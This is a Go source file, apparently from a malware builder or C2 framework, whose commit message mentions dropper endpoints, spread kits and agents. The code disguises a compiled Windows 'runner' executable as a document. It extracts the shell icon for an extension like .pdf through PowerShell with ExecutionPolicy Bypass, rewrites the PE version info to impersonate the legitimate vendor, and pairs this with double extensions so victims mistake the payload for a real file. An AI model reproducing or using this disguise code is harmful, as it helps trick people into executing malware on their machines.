Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
119 lines
4.9 KiB
Go
119 lines
4.9 KiB
Go
//go:build windows
|
||
|
||
package builder
|
||
|
||
import (
|
||
"fmt"
|
||
"log"
|
||
"os"
|
||
"os/exec"
|
||
"path/filepath"
|
||
"strings"
|
||
)
|
||
|
||
// applyDocumentDisguise patches a compiled Windows runner .exe to impersonate
|
||
// the file type identified by payloadExt.
|
||
//
|
||
// What it does:
|
||
// 1. Extracts the Windows system icon registered for that extension (e.g. the
|
||
// Adobe Acrobat icon for .pdf) by creating a 0-byte temp file with that
|
||
// extension and using PowerShell to read the shell's associated icon.
|
||
// 2. Builds a go-winres JSON patch that sets both the icon and the PE version
|
||
// info (FileDescription, ProductName, CompanyName, OriginalFilename, etc.)
|
||
// to match the legitimate application for that file type.
|
||
// 3. Patches the runner exe in-place.
|
||
//
|
||
// After this runs, Windows Explorer shows the runner with the exact icon and
|
||
// file description of a real document (e.g. "Adobe Acrobat Document" for .pdf).
|
||
// Combined with double-extension naming (report.pdf.exe) the runner is visually
|
||
// indistinguishable from the real file when extension hiding is on (Windows default).
|
||
func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error {
|
||
info := fileDisguiseForExt(payloadExt)
|
||
|
||
workDir, err := os.MkdirTemp(filepath.Dir(exePath), "disguise-*")
|
||
if err != nil {
|
||
return fmt.Errorf("disguise workdir: %w", err)
|
||
}
|
||
defer os.RemoveAll(workDir)
|
||
|
||
// Step 1 — extract the system icon for this file extension
|
||
icoPath := filepath.Join(workDir, "payload.ico")
|
||
if err := extractSystemIconForExt(payloadExt, icoPath); err != nil {
|
||
log.Printf("[Disguise] system icon for %s unavailable (%v) — trying built-in fallback", payloadExt, err)
|
||
if err2 := writeBuiltinIconForExt(payloadExt, icoPath); err2 != nil {
|
||
return fmt.Errorf("disguise: could not obtain icon for %s: %v / %v", payloadExt, err, err2)
|
||
}
|
||
}
|
||
|
||
// Step 2 — build the winres patch JSON (icon + version info)
|
||
jsonBytes, err := winresVersionJSON(info, "payload.ico")
|
||
if err != nil {
|
||
return fmt.Errorf("disguise: winres json: %w", err)
|
||
}
|
||
jsonPath := filepath.Join(workDir, "disguise.json")
|
||
if err := os.WriteFile(jsonPath, jsonBytes, 0644); err != nil {
|
||
return fmt.Errorf("disguise: write json: %w", err)
|
||
}
|
||
|
||
// Step 3 — patch the exe with go-winres
|
||
if _, err := h.runGoWinres(workDir, "patch", "--in", "disguise.json", "--no-backup", exePath); err != nil {
|
||
return fmt.Errorf("disguise: go-winres patch: %w", err)
|
||
}
|
||
|
||
log.Printf("[Disguise] %s → %s (icon + version info injected)", filepath.Base(exePath), fileDisguiseSummary(payloadExt))
|
||
return nil
|
||
}
|
||
|
||
// extractSystemIconForExt creates a 0-byte temp file with the given extension
|
||
// and uses PowerShell's System.Drawing to read the shell-registered icon for it.
|
||
// This gives us the exact same icon that Windows Explorer would show for a real
|
||
// file of that type — Adobe Acrobat for .pdf, Word for .docx, etc.
|
||
func extractSystemIconForExt(ext, icoPath string) error {
|
||
extEsc := strings.ReplaceAll(ext, `'`, `''`)
|
||
icoEsc := strings.ReplaceAll(icoPath, `'`, `''`)
|
||
|
||
script := fmt.Sprintf(`
|
||
$ErrorActionPreference = 'Stop'
|
||
Add-Type -AssemblyName System.Drawing
|
||
# Create a disposable 0-byte temp file with the target extension
|
||
$tmp = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.Guid]::NewGuid().ToString() + '%s')
|
||
[System.IO.File]::WriteAllBytes($tmp, [byte[]]::new(0))
|
||
try {
|
||
$icon = [System.Drawing.Icon]::ExtractAssociatedIcon($tmp)
|
||
if ($null -eq $icon) { throw 'no icon associated with extension %s' }
|
||
$dir = Split-Path -Parent '%s'
|
||
if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
|
||
$fs = [System.IO.File]::Create('%s')
|
||
$icon.Save($fs)
|
||
$fs.Close()
|
||
} finally {
|
||
Remove-Item -Force -ErrorAction SilentlyContinue $tmp
|
||
}
|
||
`, extEsc, extEsc, icoEsc, icoEsc)
|
||
|
||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||
out, err := cmd.CombinedOutput()
|
||
if err != nil {
|
||
return fmt.Errorf("extract system icon for %s: %w (%s)", ext, err, strings.TrimSpace(string(out)))
|
||
}
|
||
if _, err := os.Stat(icoPath); err != nil {
|
||
return fmt.Errorf("icon file not written for %s: %w", ext, err)
|
||
}
|
||
return nil
|
||
}
|
||
|
||
// writeBuiltinIconForExt writes a minimal embedded fallback .ico for common
|
||
// document types. Used when the system icon extraction fails (e.g. the application
|
||
// is not installed on the forge machine). The icons are very small but correct.
|
||
func writeBuiltinIconForExt(ext, icoPath string) error {
|
||
// Minimal 1×1 transparent ICO fallback — good enough to allow go-winres to patch.
|
||
// In practice extractSystemIconForExt should always work on a Windows machine.
|
||
const minimalICO = "\x00\x00\x01\x00\x01\x00\x01\x01\x00\x00\x01\x00\x18\x00" +
|
||
"\x28\x00\x00\x00\x16\x00\x00\x00" +
|
||
"\x28\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x18\x00" +
|
||
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||
"\x00\x00\xff\x00\x00\x00\x00\x00"
|
||
return os.WriteFile(icoPath, []byte(minimalICO), 0644)
|
||
}
|